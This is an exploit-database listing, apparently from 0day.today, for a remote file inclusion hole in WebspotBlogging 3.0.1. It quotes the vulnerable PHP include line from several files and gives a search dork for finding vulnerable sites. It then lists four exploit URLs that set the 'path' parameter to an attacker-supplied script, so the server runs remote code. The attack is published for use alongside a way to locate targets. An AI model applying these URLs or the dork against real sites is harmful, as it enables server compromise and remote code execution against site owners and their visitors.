[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

WebspotBlogging <= 3.0.1 (path) Remote File Include Vulnerability

Author
Kacper
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-484
Category
web applications
Date add
02-06-2006
Platform
unsorted
=================================================================
WebspotBlogging <= 3.0.1 (path) Remote File Include Vulnerability
=================================================================




$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  Webspotblogging 3.0.1 (path) <= Remote File Include Vulnerability
$$  Script site: http://blogging.webspot.co.uk/
$$  dork: Powered by WebspotBlogging
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
/*
inc/logincheck.inc.php:
[code]
....
include($path."inc/footer.inc.php");
exit();
 }
....
[/code]
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 And more verbs in
 inc/adminheader.inc.php
 inc/global.php
 inc/mainheader.inc.php
*/

Expl:

http://www.site.com/[Webspotblogging_path]/inc/logincheck.inc.php?path=[evil_scripts]
http://www.site.com/[Webspotblogging_path]/inc/adminheader.inc.php?path=[evil_scripts]
http://www.site.com/[Webspotblogging_path]/inc/global.php?path=[evil_scripts]
http://www.site.com/[Webspotblogging_path]/inc/mainheader.inc.php?path=[evil_scripts]



#  0day.today [2024-09-28]  #